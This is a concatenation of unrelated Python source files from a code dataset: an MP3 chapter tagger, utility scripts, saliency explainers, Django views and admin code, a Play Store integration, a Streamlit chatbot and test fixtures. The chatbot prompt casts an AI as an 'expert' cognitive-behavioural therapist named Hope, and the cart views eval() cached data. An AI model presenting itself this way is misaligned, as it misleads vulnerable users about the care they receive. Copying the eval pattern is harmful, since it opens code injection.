wipe_all_frames(self):\n self.tag.delete()\n\n\ndef id_list_gen(up_to):\n l = []\n for i in range(1, up_to + 1):\n l += [u\"chp\"+str(i), ]\n return l\n\n\ndef generate_ctoc(num_chaps):\n \"\"\"Generates a CTOC frame for `num_chaps` chapters.\"\"\"\n return CTOC(\n element_id=u\"toc\",\n flags=CTOCFlags.TOP_LEVEL | CTOCFlags.ORDERED,\n child_element_ids=id_list_gen(num_chaps),\n sub_frames=[\n TIT2(text=u\"Primary Chapter List\"),\n ]\n )\n\n\ndef generate_chap(name, start, end, eid):\n \"\"\"Generate a CHAP frame that starts at `start`, ends at `end`, has frame ID\n `id`, and contains a TIT2 frame with the text `name`.\"\"\"\n return CHAP(\n element_id=eid,\n start_time=int(start),\n end_time=int(end),\n sub_frames=[\n TIT2(text=name),\n ]\n )\n\n\ndef generate_chaplist(dict_list, file_length):\n \"\"\"Generate a list of CHAP objects from the dicts in `dict_list`.\"\"\"\n chap_list = []\n for d, i in zip(dict_list, range(len(dict_list))):\n try:\n chap_list.append(generate_chap(\n d[0],\n round(d[1]),\n round(dict_list[i + 1][1]),\n u\"chp\" + str(i + 1)\n ))\n except IndexError:\n chap_list.append(generate_chap(\n d[0],\n round(d[1]),\n round(file_length * 1000),\n u\"chp\" + str(i + 1)\n ))\n return chap_list\n\n\ndef no_padding(m):\n return 0\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Add chapters to an MP3 file.\")\n parser.add_argument(\"-m\", \"--mp3\", action=\"store\", required=True, nargs=1,\n dest=\"mp3\", help=\"MP3 file to add chapters to.\")\n parser.add_argument(\"-j\", \"--json\", action=\"store\", required=True, nargs=1,\n type=argparse.FileType(\"r\"), dest=\"json\",\n help=\"JSON file to read chapters from.\")\n parser.add_argument(\"--drop-frametype\", action=\"append\", type=str,\n dest=\"drop_type\", nargs=\"*\", choices=ID3_FRAMES,\n help=\"Drop PRIV frames in existing ID3 tag.\")\n parser.add_argument(\"--drop-all\", action=\"store_true\", dest=\"drop_all\",\n help=\"Remove all frames currently in the tag.\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", dest=\"v\")\n namespace = parser.parse_args()\n # Timestamps\n tracks = json.load(namespace.json[0])\n # Get the audio file\n mp3 = MP3File(namespace.mp3[0])\n if namespace.drop_all:\n if namespace.v:\n print(\"Deleting all existing frames...\")\n mp3.wipe_all_frames()\n if namespace.drop_type is not None and len(namespace.drop_type) > 0:\n for frametype in namespace.drop_type:\n if namespace.v:\n print(\"Deleting %s frames...\" % frametype[0])\n mp3.tag.delall(frametype[0])\n # Create and add the TOC\n if namespace.v:\n print(\"Generating CTOC (table of contents) frame...\")\n mp3.tag.add(generate_ctoc(len(tracks)))\n # Create and add the chapters\n for chap in generate_chaplist(tracks, mp3.length):\n if namespace.v:\n print(\n \"Adding CHAP frame for %s...\" % chap.sub_frames[\"TIT2\"].text[0]\n )\n mp3.tag.add(chap)\n # Save the changes to disk\n if namespace.v:\n print(\"Writing to disk...\")\n # This line's important. After significant testing, I determined that most\n # podcast clients don't like v2.4 tags yet.\n mp3.tag.save(mp3.fp, v2_version=3, padding=no_padding)\n print(\"Done!\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"s0ph0s-2/mp3-chapter-scripts","sub_path":"chaptagger4.py","file_name":"chaptagger4.py","file_ext":"py","file_size_in_byte":6657,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"7892995366","text":"def menu():\n print(\"键入a返回功能菜单\\n\"\"键入b退出程序\")\n\n\ndef tittle():\n print(\"输入1进行加解密\\n\" \"输入2进行键值转换\\n\" \"输入3进行QRcode指令\")\n\n\ndef wrong():\n print(\"非法操作\")\n\n\nimport base64\ntittle()\ni=input(\"请键入选择:\")\nwhile i==\"1\":\n print(\" 键入1进行加密\\n\" \"键入2进行解密\\n\")\n ii=input(\"请键入选择:\")\n if (ii==\"1\"):\n result=input(\"请键入待加密字符串:\")\n try:\n print(base64.b64encode(result.encode('utf-8')))\n menu()\n i=input(\"请键入选择:\")\n if i==\"a\":\n tittle()\n i=input(\"请输入选择:\")\n else:\n print(\"感谢使用\")\n break\n except:\n wrong()\n menu()\n i=input(\"请键入选择:\")\n if i == \"a\":\n tittle()\n i = input(\"请输入选择:\")\n else:\n print(\"感谢使用\")\n break\n elif(ii==\"2\"):\n result=input(\"请键入待解密字符串:\")\n try:\n print(base64.b64encode(result.decode(\"utf-8\")))\n menu()\n i=input(\"请键入选择:\")\n except:\n wrong()\n menu()\n i=input(\"请键入选择:\")\n if i == \"a\":\n tittle()\n i = input(\"请输入选择:\")\n else:\n print(\"感谢使用\")\n break\nwhile i==\"2\":\n print('请分别输入几组字符串\\n'\"格式:键+空格+键+。。。\\n\"\"值+空格+值+。。。\\n\")\n p=input(\"请键入键:\")\n q=input(\"请输入值:\")\n try:\n list1 = p.split(\" \")\n list2 = q.split(\" \")\n dict1 = dict(zip(list1, list2))\n dict2 = {}\n for key, value in dict1.items():\n if value not in dict2:\n dict2[value] = [key]\n else:\n dict2[value].append(key)\n print(dict2)\n import json\n result1=json.dumps(dict1)\n result2=dict2\n print(\"json字符串为:\\n\",result1)\n print(\"新字典为:\\n\",result2)\n print(\"其类型分别为:\\n\",type(result1),type(result2))\n menu()\n i=input(\"请键入选择:\")\n if i == \"a\":\n tittle()\n i = input(\"请输入选择:\")\n else:\n print(\"感谢使用\")\n break\n except:\n wrong()\n menu()\n i=input(\"请键入选择:\")\n if i==\"a\":\n tittle()\n i= input(\"请输入选择;\")\n else:\n print(\"感谢使用\")\n break\nwhile i==\"3\":\n import qrcode\n h=input(\"请输入文件名:\")\n try:\n f1=open(h,\"r\")\n f2=f1.read()\n img=qrcode.make(data=f2)\n img.save(\"二维码.jpg\")\n menu()\n i=input(\"请键入选择:\")\n if i == \"a\":\n tittle()\n i = input(\"请输入选择;\")\n else:\n print(\"感谢使用\")\n break\n except:\n wrong()\n menu()\n i = input(\"请键入选择:\")\n if i == \"a\":\n tittle()\n i = input(\"请输入选择;\")\n else:\n print(\"感谢使用\")\n break\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"baizz-maker/HOMEWORK","sub_path":"spoonplus2.py","file_name":"spoonplus2.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72766597787","text":"import torch\nimport math\nfrom .header import *\n\n# Vanilla gradient saliency\nclass PlainGradExplainer(Explainer):\n def __init__(self, top_k_frac, signed=False):\n super(PlainGradExplainer, self).__init__()\n self.top_k_frac = top_k_frac\n self.signed = signed\n\n def __str__(self):\n if self.signed:\n return f\"pgrads{self.top_k_frac:.4f}\"\n else:\n return f\"pgradu{self.top_k_frac:.4f}\"\n\n def _find_grad_order(self, model, x):\n model.eval()\n xx = x.unsqueeze(0)\n test = torch.ones(model.alpha_shape(xx))[0].to(xx.device)\n test.requires_grad_()\n y = model(xx, alpha=test.unsqueeze(0))[0]\n v = y.max()\n v.backward(retain_graph=True)\n grad = test.grad.view(-1)\n order = grad.argsort(descending=True) if self.signed else grad.abs().argsort(descending=True)\n return grad.view(test.shape), order.view(test.shape)\n\n def find_explanation(self, model, x, get_order=False):\n model.eval()\n _, order = self._find_grad_order(model, x)\n \n alpha_shape = model.alpha_shape(x.unsqueeze(0))[1:]\n k = math.ceil(order.numel() * self.top_k_frac)\n exbits = torch.zeros(order.numel()).to(x.device)\n exbits[order.view(-1)[:k]] = 1.0\n if get_order:\n return exbits.view(*alpha_shape), order\n else:\n return exbits.view(*alpha_shape)\n\n# Integrated gradient saliency\nclass IntGradExplainer(Explainer):\n def __init__(self, top_k_frac, signed=False, num_steps=32):\n super(IntGradExplainer, self).__init__()\n self.top_k_frac = top_k_frac\n self.signed = signed\n self.num_steps = num_steps\n\n def __str__(self):\n if self.signed:\n return f\"igrads{self.top_k_frac:.4f}\"\n else:\n return f\"igradu{self.top_k_frac:.4f}\"\n\n def _intgrad(self, model, x, num_steps=None):\n num_steps = self.num_steps if num_steps is None else num_steps\n xx = x.unsqueeze(0)\n y = model(xx)\n target_class = y.argmax(dim=1)[0]\n alpha_shape = model.alpha_shape(xx)\n\n intgrad = torch.zeros(alpha_shape).to(x.device)\n exbits_start = torch.zeros(alpha_shape).to(x.device)\n exbits_final = torch.ones(alpha_shape).to(x.device)\n\n for k in range(num_steps):\n exbits_this = exbits_start + (k/num_steps) * exbits_final\n exbits_this.requires_grad_()\n y_this = model(xx, alpha=exbits_this)\n y_target = y_this[0, target_class]\n y_target.backward()\n intgrad += (exbits_this.grad / num_steps) * (exbits_final - exbits_start)\n return intgrad[0]\n \n def find_explanation(self, model, x, get_order=False):\n model.eval()\n intgrad = self._intgrad(model, x)\n\n alpha_shape = model.alpha_shape(x.unsqueeze(0))[1:]\n tmp = intgrad.view(-1)\n order = tmp.argsort(descending=True) if self.signed else tmp.abs().argsort(descending=True)\n k = math.ceil(order.numel() * self.top_k_frac)\n exbits = torch.zeros(order.numel()).to(x.device)\n exbits[order.view(-1)[:k]] = 1.0\n if get_order:\n return exbits.view(*alpha_shape), order\n else:\n return exbits.view(*alpha_shape)\n\n\n","repo_name":"DebugML/mus","sub_path":"methods/gradients.py","file_name":"gradients.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"12242502268","text":"def solution(a, b, n):\n cnt = 0\n while True:\n if ndjango views is added by default)\n 'websocket': AuthMiddlewareStack(\n URLRouter(\n web.routing.websocket_urlpatterns\n )\n ),\n})","repo_name":"py3study/django3_websocket","sub_path":"django3_websocket/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"11"} +{"seq_id":"44002654207","text":"from django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n# Create your views here.\nfrom .serializers import *\nfrom utils.response import BaseResponse\nfrom utils.my_auth import Authentication\nfrom utils.redis_pool import POOL\nfrom Course.models import Course, PricePolicy, CouponRecord, Coupon\nfrom django.utils.timezone import now\nimport redis\nimport json\n\nconn = redis.Redis(host='127.0.0.1', port=6379, db=1, decode_responses=True)\n\n\nclass ShoppingCar(APIView):\n authentication_classes = [Authentication]\n\n def post(self, request):\n res = BaseResponse()\n user_id = request.user.pk\n course_id = request.data.get(\"course_id\", \"\")\n course_obj = Course.objects.filter(pk=course_id).first()\n if not course_obj:\n res.code = 1040\n res.error = \"课程id不存在\"\n return Response(res.dict)\n else:\n name = \"ShoppingCar_for_userId_%s\" % user_id\n Value = {\n \"course_id\": course_id,\n \"course_img\": str(course_obj.course_img),\n \"PricePolicy\": [{\"id\": police_obj.id, \"is_promotion\": police_obj.is_promotion,\n \"promotion_price\": police_obj.promotion_price, \"price\": police_obj.price,\n \"valid_period\": \"永久有效\" if police_obj.is_valid_forever else police_obj.get_valid_period_display()}\n for police_obj in\n course_obj.price_policy.all()]\n }\n try:\n conn.hmset(name, {\"course_id_%s\" % course_id: Value})\n res.code = 1000\n res.data = {\"加入购物车成功\"}\n except Exception as e:\n res.code = 1035\n res.error = \"加入购物车失败,reason:\" + str(e)\n return Response(res.dict)\n\n def get(self, request):\n res = BaseResponse()\n name = \"ShoppingCar_for_userId_%s\" % request.user.pk\n data = conn.hvals(name)\n res.code = 1000\n res.data = data\n return Response(res.dict)\n\n def delete(self, request):\n res = BaseResponse()\n course_ids = request.data.get(\"course_list\", \"\")\n print(course_ids)\n name = \"ShoppingCar_for_userId_%s\" % request.user.pk\n try:\n for course_id in course_ids:\n if not Course.objects.filter(id=course_id):\n res.code = 1040\n res.error = \"课程id(%d)不存在\" % course_id\n return Response(res.dict)\n conn.hdel(name, \"course_id_%d\" % course_id)\n res.code = 1000\n res.data = {\"商品删除成功\"}\n except Exception as e:\n res.code = 1037\n res.error = \"删除失败,reason:\" + str(e)\n return Response(res.dict)\n\n\nclass Settlement(APIView):\n authentication_classes = [Authentication]\n\n def post(self, request):\n res = BaseResponse()\n user_id = request.user.pk\n policeId_list = request.data.get(\"policeId_list\", \"\")\n # 将提交的课程及对应的价格策略保存在redis的Settlement记录\n for police_id in policeId_list:\n PricePolicy_obj = PricePolicy.objects.filter(id=police_id).first()\n course = PricePolicy_obj.content_object\n ret = {\n \"course_id\": course.id,\n \"course_img\": str(course.course_img),\n \"PricePolicy\": {\n \"course_id\": PricePolicy_obj.object_id,\n \"price\": PricePolicy_obj.price,\n \"is_promotion\": PricePolicy_obj.is_promotion,\n \"promotion_price\": PricePolicy_obj.promotion_price,\n \"promotion_end_date\": PricePolicy_obj.promotion_end_date.strftime(\n '%Y-%m-%d %H:%M:%S') if PricePolicy_obj.promotion_end_date else \"\",\n \"is_valid_forever\": PricePolicy_obj.is_valid_forever,\n \"valid_period\": PricePolicy_obj.get_valid_period_display(),\n },\n }\n name = \"Settlement_for_userId_%d\" % user_id\n conn.hmset(name, {\"course_id_%d\" % course.id: ret})\n # 同时获取该用户所有可用的优惠券\n coupon_record_list = CouponRecord.objects.filter(account_id=user_id,\n status=0,\n coupon__valid_begin_date__lte=now(),\n coupon__valid_end_date__gte=now()).all()\n name = \"Coupons_for_userId_%d\" % user_id\n for coupon_record in coupon_record_list:\n data = {\n \"coupon_id\": coupon_record.coupon.id,\n \"get_time\": coupon_record.get_time.strftime('%Y-%m-%d %H:%M:%S'),\n \"number\": coupon_record.number,\n \"status\": coupon_record.get_status_display(),\n \"coupon_type\": coupon_record.coupon.get_coupon_type_display(),\n \"money_equivalent_value\": coupon_record.coupon.money_equivalent_value,\n \"off_percent\": coupon_record.coupon.off_percent,\n \"minimum_consume\": coupon_record.coupon.minimum_consume,\n \"remain_date\": \"%s天\" % str((coupon_record.coupon.valid_end_date - now().date()).days),\n \"course_id\": coupon_record.coupon.object_id\n }\n conn.hmset(name, {coupon_record.number: data})\n res.code = 1000\n res.data = \"加入结算中心成功\"\n return Response(res.dict)\n\n def get(self, request):\n res = BaseResponse()\n name1 = \"Settlement_for_userId_%d\" % request.user.pk\n name2 = \"Coupons_for_userId_%d\" % request.user.pk\n data1 = conn.hvals(name1)\n data2 = conn.hgetall(name2)\n\n res.code = 1000\n res.data = {\"settlement\": data1, \"coupons\": data2}\n return Response(res.dict)\n\n\nclass Payment(APIView):\n authentication_classes = [Authentication]\n\n def post(self, request):\n res = BaseResponse()\n user_id = request.user.pk\n # 前端传过来的数据:计算后的price,优惠卷number列表\n # 专属课程优惠券可以使用多个,通用劵只能选一张\n receive_price = request.data.get(\"price\")\n numbers = request.data.get(\"Coupon_numbers\")\n final_price = 0\n rebate_price = 0\n settlement_values = conn.hvals(\"Settlement_for_userId_%d\" % user_id)\n course_id_list = [eval(value)[\"course_id\"] for value in settlement_values]\n\n coupon_values = [conn.hmget(\"Coupons_for_userId_%d\" % user_id,number) for number in numbers]\n for course_id in course_id_list:\n course = Course.objects.filter(id=course_id)\n if not course:\n res.code = 1052\n res.error = \"课程已下架\"\n return Response(res.dict)\n\n # 第一次计算:先为绑定了课程的价格进行优惠\n for coupon_value in coupon_values:\n coupon_id=eval(coupon_value[0])[\"coupon_id\"]\n coupon_dict = Coupon.objects.filter(id=coupon_id,\n couponrecord__status=0,\n couponrecord__account_id=user_id,\n valid_begin_date__lte=now(),\n valid_end_date__gte=now(), ).values(\"coupon_type\",\n \"money_equivalent_value\",\n \"off_percent\",\n \"minimum_consume\")[0]\n course_id=eval(coupon_value[0]).get(\"course_id\",\"\")\n if course_id and course_id in course_id_list:\n course=conn.hget(\"Settlement_for_userId_%d\" % user_id,\"course_id_%d\"%course_id)\n course=eval(course)\n if not course[\"PricePolicy\"][\"is_promotion\"]:\n price = course[\"PricePolicy\"][\"price\"]\n else:\n price = course[\"PricePolicy\"][\"promotion_price\"]\n print(coupon_dict)\n rebate_price += self.calculate_price(price,coupon_dict)\n # print(course_id_list,course_id,type(course_id))\n course_id_list.remove(course_id)\n coupon_values.remove(coupon_value)\n # 第二次计算:其余没有绑定课程的和上一步加起来\n for course_id in course_id_list:\n course = conn.hget(\"Settlement_for_userId_%d\" % user_id, \"course_id_%d\" % course_id)\n course=eval(course)\n if not course[\"PricePolicy\"][\"is_promotion\"]:\n rebate_price += course[\"PricePolicy\"][\"price\"]\n else:\n rebate_price += course[\"PricePolicy\"][\"promotion_price\"]\n # 第三次计算:再使用最后的通用优惠券进行满减折扣等计算\n if course_id_list:\n final_coupon=coupon_values[0] # 最后一张通用劵\n final_coupon_id=eval(final_coupon[0])[\"coupon_id\"]\n coupon_dict = Coupon.objects.filter(id=final_coupon_id,\n couponrecord__status=0,\n couponrecord__account_id=user_id,\n valid_begin_date__lte=now(),\n valid_end_date__gte=now(), ).values(\"coupon_type\",\n \"money_equivalent_value\",\n \"off_percent\",\n \"minimum_consume\")[0]\n rebate_price = self.calculate_price(rebate_price,coupon_dict)\n print(rebate_price)\n res.code=1000\n res.data=\"ok\"\n return Response(res.dict)\n\n def calculate_price(self,price, coupon_dict):\n rebate_price=0\n coupon_type = coupon_dict[\"coupon_type\"]\n if coupon_type == 0:\n # 通用优惠券\n money_equivalent_value = coupon_dict[\"money_equivalent_value\"]\n if price - money_equivalent_value >=0:\n rebate_price = price - money_equivalent_value\n else:\n rebate_price = 0\n elif coupon_type == 1:\n # 满减\n money_equivalent_value = coupon_dict[\"money_equivalent_value\"]\n minimum_consume = coupon_dict[\"minimum_consume\"]\n if price >= minimum_consume:\n rebate_price = price - money_equivalent_value\n else:\n return -1\n elif coupon_type == 2:\n # 折扣\n minimum_consume = coupon_dict[\"minimum_consume\"]\n off_percent = coupon_dict[\"off_percent\"]\n if price >= minimum_consume:\n rebate_price = price * (off_percent / 100)\n else:\n return -1\n return rebate_price\n","repo_name":"zhouxiaomingCD/LuffyCity","sub_path":"Shopping/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11166423","text":"from datetime import date\nfrom io import StringIO\nfrom typing import Iterable, final\n\nimport numpy as np\nimport pandas as pd\nimport requests\n\nfrom ..base import MeasurementTuple, OAuth2Integration\nfrom ..utils import batch_range_per_month, get_secret\n\n\"\"\"\nhttps://support.google.com/googleplay/android-developer/answer/139628?hl=en-GB&co=GENIE.Platform%3DDesktop#zippy=%2Cinstall-related-statistics\n\n\"\"\"\nMETRICS = [\n {\"title\": \"Daily Average Rating\"},\n {\"title\": \"Total Average Rating\"},\n # An active device is one that has been turned on at least once in the past 30 days.\n {\"title\": \"Active Device Installs\"},\n]\n\n\n@final\nclass GooglePlayStore(OAuth2Integration):\n client_id = get_secret(\"GOOGLE_CLIENT_ID\")\n client_secret = get_secret(\"GOOGLE_CLIENT_SECRET\")\n authorization_url = \"https://accounts.google.com/o/oauth2/v2/auth\"\n token_url = \"https://oauth2.googleapis.com/token\"\n refresh_url = \"https://oauth2.googleapis.com/token\"\n scopes = [\"https://www.googleapis.com/auth/devstorage.read_only\"]\n authorize_extras = {\"access_type\": \"offline\", \"prompt\": \"consent\"}\n\n # Use https://bhch.github.io/react-json-form/playground\n config_schema = {\n \"type\": \"dict\",\n \"keys\": {\n \"developer_id\": {\n \"type\": \"string\",\n \"required\": True,\n \"helpText\": \"https://play.google.com/console/u/1/developers//app-list\",\n },\n \"package_name\": {\n \"type\": \"string\",\n \"required\": True,\n \"helpText\": \"com.company.app\",\n },\n \"metric\": {\n \"type\": \"string\",\n \"choices\": METRICS,\n \"required\": True,\n },\n },\n }\n\n def can_backfill(self):\n return True\n\n def collect_past_range(\n self, date_start: date, date_end: date\n ) -> Iterable[MeasurementTuple]:\n\n year_start = date_start.year\n year_end = date_end.year\n month_start = date_start.month\n month_end = date_end.month\n\n if not (year_start == year_end and month_start == month_end):\n # Generate monthly ranges\n return batch_range_per_month(\n date_start=date_start,\n date_end=date_end,\n callable=self.collect_past_range,\n )\n\n yearmonth = f\"{year_start}{month_start:02}\"\n bucket = f\"pubsite_prod_{self.config['developer_id']}\"\n\n if \"Rating\" in self.config[\"metric\"]:\n obj = f\"stats%2Fratings%2Fratings_{self.config['package_name']}_{yearmonth}_overview.csv\"\n elif \"Installs\" in self.config[\"metric\"]:\n obj = f\"stats%2Finstalls%2Finstalls_{self.config['package_name']}_{yearmonth}_overview.csv\"\n else:\n raise NotImplementedError(f\"Unknown metric '{self.config['metric']}'\")\n column = self.config[\"metric\"]\n\n request_url = (\n f\"https://storage.googleapis.com/storage/v1/b/{bucket}/o/{obj}?alt=media\"\n )\n response = self.session.get(request_url)\n try:\n response.raise_for_status()\n except requests.HTTPError as e:\n if e.response is not None and e.response.status_code in [400, 403]:\n # Try to explain to the user\n try:\n data = e.response.json()\n raise requests.HTTPError(\n data[\"error\"][\"message\"], response=e.response\n ) from None\n except requests.exceptions.InvalidJSONError:\n raise e from None\n if e.response and e.response.status_code == 404:\n # No data, simply return empty list\n return []\n else:\n raise\n df = pd.read_csv(\n StringIO(response.text), parse_dates=[\"Date\"], index_col=\"Date\"\n )\n if \"Rating\" in self.config[\"metric\"]:\n # Replace \"0\" by np.nan\n df = df.replace(0, np.nan)\n df_filtered = df[\n (df.index >= date_start.isoformat()) & (df.index <= date_end.isoformat())\n ].sort_index()\n return (\n MeasurementTuple(date=index.to_pydatetime().date(), value=value) # type: ignore[attr-defined]\n for index, value in df_filtered[column].items()\n )\n","repo_name":"corradio/polynomial","sub_path":"integrations/implementations/google_play_store.py","file_name":"google_play_store.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"73666527708","text":"import streamlit as st\nfrom streamlit_chat import message\n\nfrom langchain.chains import ConversationChain\nfrom langchain.chains.conversation.memory import ConversationEntityMemory\nfrom langchain.chains.conversation.prompt import ENTITY_MEMORY_CONVERSATION_TEMPLATE\nfrom langchain.llms import OpenAI\n\nfrom langchain import OpenAI, ConversationChain, LLMChain, PromptTemplate\nfrom langchain.memory import ConversationBufferWindowMemory\n\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\nos.environ[\"OPENAI_API_KEY\"] = os.getenv(\"OPENAI_API_KEY\")\n\n# os.environ[\"OPENAI_API_KEY\"] = st.secrets[\"OPENAI_API_KEY\"]\n\nMODEL = 'text-davinci-003' # st.selectbox(label='Model', options=['gpt-3.5-turbo','text-davinci-003','text-davinci-002','code-davinci-002'])\nK = 10 # st.number_input(' (#)Summary of prompts to consider',min_value=3,max_value=1000)\n\nst.set_page_config(page_title='HOPE', layout='wide')\nst.title(\"HOPE\")\n\nif \"generated\" not in st.session_state:\n st.session_state[\"generated\"] = []\nif \"past\" not in st.session_state:\n st.session_state[\"past\"] = []\nif \"input\" not in st.session_state:\n st.session_state[\"input\"] = \"\"\nif \"stored_session\" not in st.session_state:\n st.session_state[\"stored_session\"] = []\n\ndef get_text():\n\n input_text = st.text_input(\"You: \", st.session_state[\"input\"], key=\"input\",\n placeholder=\"I am your HOPE! Ask me anything ...\", \n label_visibility='hidden')\n return input_text\n\ndef new_chat():\n save = []\n for i in range(len(st.session_state['generated'])-1, -1, -1):\n save.append(\"User:\" + st.session_state[\"past\"][i])\n save.append(\"Bot:\" + st.session_state[\"generated\"][i]) \n st.session_state[\"stored_session\"].append(save)\n st.session_state[\"generated\"] = []\n st.session_state[\"past\"] = []\n st.session_state[\"input\"] = \"\"\n # st.session_state.entity_memory.store = {}\n # st.session_state.entity_memory.buffer.clear()\n\n# Create an OpenAI instance\nllm = OpenAI(temperature=0)\n\nif 'entity_memory' not in st.session_state:\n st.session_state.entity_memory = ConversationBufferWindowMemory(k=K)\n\n# Create the ConversationChain object with the specified configuration\n\n\n# Create a ConversationEntityMemory object if not already created\nif 'entity_memory' not in st.session_state:\n st.session_state.entity_memory = ConversationBufferWindowMemory(k=K)\n\n\ntemplate = \"\"\"Hope is an expert in performing Cognitive Behavioural Therapy. Hope will be the Users Therapist.\nHope will converse with the user and help the user to overcome their mental health problems. Hope is very experienced and keeps in mind previous conversations made with the user.\nUser will share their thoughts and problems with Hope and Hope will try and solve them by Cognitive Behavioural Therapy.\nHope can help users who struggle with anxiety, depression, trauma, sleep disorder, relationships, work-stress, exam-stress and help them.\nHope may also suggest breathing exercises or simple tasks or any other conventional methods that may help the User.\n\n{history}\nUser: {human_input}\nHope:\"\"\"\n\n# If User is feeling Sucidal then give this sucide helpline: +123 4567 890\n# Add agent tools to trigger calling autorities code, when user might get extreme thoughts \n\nprompt = PromptTemplate(\n input_variables=[\"history\", \"human_input\"], \n template=template\n)\n\nbot_chain = LLMChain(\n llm=OpenAI(temperature=0), \n prompt=prompt, \n verbose=True, \n memory=st.session_state.entity_memory\n) \n\nst.sidebar.button(\"New Chat\", on_click = new_chat, type='primary')\n\nuser_input = get_text()\n\nif user_input:\n output = bot_chain.predict(human_input = user_input) \n st.session_state.past.append(user_input)\n st.session_state.generated.append(output)\n \nwith st.expander(\"Conversation\", expanded=True):\n for i in range(len(st.session_state['generated'])-1, -1, -1):\n message(st.session_state[\"generated\"][i], key=str(i))\n message(st.session_state['past'][i], is_user=True, key=str(i) + '_user')\n \n #st.info(st.session_state[\"past\"][i],icon=\"🧐\")\n #st.success(st.session_state[\"generated\"][i], icon=\"🤖\")\n\n# Display stored conversation sessions in the sidebar\nfor i, sublist in enumerate(st.session_state.stored_session):\n with st.sidebar.expander(label= f\"Conversation-Session:{i}\"):\n st.write(sublist)\n\n# Allow the user to clear all stored conversation sessions\nif st.session_state.stored_session: \n if st.sidebar.checkbox(\"Clear-all\"):\n del st.session_state.stored_session\n","repo_name":"vansh18/Google-Solution-Challenge-2023","sub_path":"file_rw/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"6983678611","text":"import pytest\nimport os\nimport subprocess\nimport sys\nimport time\nimport socket\nfrom contextlib import closing\n\n\ndef get_build_folder_fn():\n root = os.path.dirname(os.path.realpath(__file__))\n # find build folder\n dirs = [d for d in os.listdir(root) if os.path.isdir(d) and \"build\" in d]\n assert len(dirs) > 0, \"Unable to detect build folder\"\n # use the shortest one\n dirs.sort(key=lambda x: len(x))\n build_dir = dirs[0]\n return build_dir\n\n\ndef start_server_fn(port_num, program_name, args=None, gdbserver_port=None, stdout=True, wait=0, use_plus_arg=True,\n env=None):\n build_dir = get_build_folder_fn()\n if isinstance(program_name, (list, tuple)):\n server_path = os.path.join(build_dir, *program_name)\n else:\n server_path = os.path.join(build_dir, \"tests\", program_name)\n if not os.path.exists(server_path):\n print(server_path)\n return None\n if args is None:\n args = []\n if use_plus_arg:\n args.append(\"+DEBUG_PORT=\" + str(port_num))\n else:\n args += [\"-p\", str(port_num)]\n args = [server_path] + args\n if gdbserver_port is not None:\n args = [\"gdbserver\", \"localhost:{0}\".format(gdbserver_port)] + args\n p = subprocess.Popen(args, stdout=sys.stdout if stdout else subprocess.PIPE, env=env)\n time.sleep(wait)\n return p\n\n\ndef find_free_port_fn():\n with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:\n s.bind(('', 0))\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n return s.getsockname()[1]\n\n\ndef get_tools_vector_dir_fn():\n root = os.path.dirname(os.path.realpath(__file__))\n return os.path.join(root, \"tests\", \"tools\", \"vectors\")\n\n\n@pytest.fixture()\ndef start_server():\n return start_server_fn\n\n\n@pytest.fixture()\ndef find_free_port():\n return find_free_port_fn\n\n\n@pytest.fixture()\ndef get_build_folder():\n return get_build_folder_fn\n\n\n@pytest.fixture()\ndef get_tools_vector_dir():\n return get_tools_vector_dir_fn\n","repo_name":"Kuree/hgdb","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"11"} +{"seq_id":"28515775455","text":"from django.contrib import admin, messages\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.db.models import Q\nfrom django.http import Http404, JsonResponse\nfrom django.shortcuts import redirect, render\nfrom django.urls import path, reverse\nfrom django.utils.safestring import mark_safe\n\nfrom services.functions.sinkron_sipo import ServiceSipo\nfrom usom.forms import AccountForm, EditProfilPegawai, UploadFotoPegawai\nfrom usom.models import Account, Golongan, UnitKerja\n\n\nclass UnitKerjaAdmin(admin.ModelAdmin):\n list_display = (\"id\", \"unitkerja\", \"id_sipo\", \"aktif\")\n search_fields = (\"unitkerja\",)\n list_filter = (\"aktif\",)\n\n def load_data_json(self, request):\n respon = []\n unitkerja_list = UnitKerja.objects.filter(aktif=True)\n if unitkerja_list.exists():\n for item in unitkerja_list:\n respon.append(\n {\n \"id\": item.id,\n \"text\": item.unitkerja,\n }\n )\n return JsonResponse(respon, safe=False)\n\n def get_urls(self):\n admin_url = super().get_urls()\n custom_url = [\n path(\n \"load-data\",\n self.admin_site.admin_view(self.load_data_json),\n name=\"usom_unitkerja_loaddata\",\n ),\n ]\n return custom_url + admin_url\n\n\nadmin.site.register(UnitKerja, UnitKerjaAdmin)\nadmin.site.register(Golongan)\n\n\nclass AccountAdmin(UserAdmin):\n list_display = (\"username\", \"nama_lengkap\", \"email\")\n readonly_fields = (\"last_login\", \"date_joined\")\n search_fields = (\"username\", \"nama_lengkap\", \"jabatan\")\n ordering = (\"-id\",)\n form = AccountForm\n fieldsets = (\n (\n None,\n {\n \"fields\": (\n \"username\",\n \"password\",\n \"email\",\n ),\n },\n ),\n (\n \"Informasi\",\n {\n \"fields\": 